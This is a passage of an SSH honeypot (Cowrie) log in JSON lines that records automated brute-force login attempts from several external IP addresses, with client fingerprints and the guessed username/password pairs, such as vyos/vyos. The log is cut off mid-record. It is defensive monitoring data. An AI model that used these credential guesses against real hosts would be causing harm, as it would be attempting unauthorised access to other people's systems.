{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:52.153814Z","src_ip":"147.45.197.250","session":"cc5ad6cfc4f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":45910,"dst_ip":"10.17.0.5","dst_port":22,"session":"df2fa6fded63","protocol":"ssh","message":"New connection: 150.109.20.59:45910 (10.17.0.5:22) [session: df2fa6fded63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:56.696923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:56.701161Z","src_ip":"150.109.20.59","session":"df2fa6fded63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:56.970441Z","src_ip":"150.109.20.59","session":"df2fa6fded63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vhserver","password":"1234","message":"login attempt [vhserver/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:58.134310Z","src_ip":"150.109.20.59","session":"df2fa6fded63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:59.436209Z","src_ip":"150.109.20.59","session":"df2fa6fded63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":36242,"dst_ip":"10.17.0.5","dst_port":22,"session":"215a96718b96","protocol":"ssh","message":"New connection: 109.172.54.111:36242 (10.17.0.5:22) [session: 215a96718b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:59.913601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:59.918453Z","src_ip":"109.172.54.111","session":"215a96718b96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:00.017895Z","src_ip":"109.172.54.111","session":"215a96718b96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sonyericsson","message":"login attempt [root/sonyericsson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:00.352765Z","src_ip":"109.172.54.111","session":"215a96718b96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:01.456103Z","src_ip":"109.172.54.111","session":"215a96718b96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":54214,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bb2cb119d12","protocol":"ssh","message":"New connection: 193.32.162.151:54214 (159.203.135.109:22) [session: 1bb2cb119d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:23.241124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:23.246096Z","src_ip":"193.32.162.151","session":"1bb2cb119d12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:23.350762Z","src_ip":"193.32.162.151","session":"1bb2cb119d12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:23.665331Z","src_ip":"193.32.162.151","session":"1bb2cb119d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:24.773041Z","src_ip":"193.32.162.151","session":"1bb2cb119d12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":20250,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec9e36987d81","protocol":"ssh","message":"New connection: 182.253.79.194:20250 (10.17.0.5:22) [session: ec9e36987d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:26.880988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:26.888367Z","src_ip":"182.253.79.194","session":"ec9e36987d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:27.221480Z","src_ip":"182.253.79.194","session":"ec9e36987d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rolando","password":"rolando","message":"login attempt [rolando/rolando] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:28.537579Z","src_ip":"182.253.79.194","session":"ec9e36987d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:29.845186Z","src_ip":"182.253.79.194","session":"ec9e36987d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":60974,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec698d93802d","protocol":"ssh","message":"New connection: 115.91.48.142:60974 (10.17.0.5:22) [session: ec698d93802d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:46.835625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:46.841181Z","src_ip":"115.91.48.142","session":"ec698d93802d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:47.093098Z","src_ip":"115.91.48.142","session":"ec698d93802d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"password123","message":"login attempt [testuser/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:48.122312Z","src_ip":"115.91.48.142","session":"ec698d93802d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:50:49.374062Z","src_ip":"115.91.48.142","session":"ec698d93802d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":57172,"dst_ip":"10.17.0.5","dst_port":22,"session":"18ee18f8cf92","protocol":"ssh","message":"New connection: 150.109.20.59:57172 (10.17.0.5:22) [session: 18ee18f8cf92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:51:26.181583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:51:26.187068Z","src_ip":"150.109.20.59","session":"18ee18f8cf92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:51:26.434336Z","src_ip":"150.109.20.59","session":"18ee18f8cf92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"a123456","message":"login attempt [ubuntu/a123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:51:27.506968Z","src_ip":"150.109.20.59","session":"18ee18f8cf92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:51:28.792977Z","src_ip":"150.109.20.59","session":"18ee18f8cf92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":61919,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c922aea9b42","protocol":"ssh","message":"New connection: 182.253.79.194:61919 (10.17.0.5:22) [session: 3c922aea9b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:51:46.281543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:51:46.287885Z","src_ip":"182.253.79.194","session":"3c922aea9b42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:51:46.553194Z","src_ip":"182.253.79.194","session":"3c922aea9b42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password@123","message":"login attempt [root/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:51:47.647647Z","src_ip":"182.253.79.194","session":"3c922aea9b42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:51:48.915041Z","src_ip":"182.253.79.194","session":"3c922aea9b42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":50284,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f828828a59a","protocol":"ssh","message":"New connection: 115.91.48.142:50284 (10.17.0.5:22) [session: 1f828828a59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:51:59.987968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:51:59.992960Z","src_ip":"115.91.48.142","session":"1f828828a59a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:00.193153Z","src_ip":"115.91.48.142","session":"1f828828a59a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qQ","message":"login attempt [root/123456qQ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:01.026743Z","src_ip":"115.91.48.142","session":"1f828828a59a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42452,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad5732d8e70d","protocol":"ssh","message":"New connection: 80.94.92.186:42452 (159.203.135.109:22) [session: ad5732d8e70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:01.254770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:52:01.304995Z","src_ip":"80.94.92.186","session":"ad5732d8e70d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-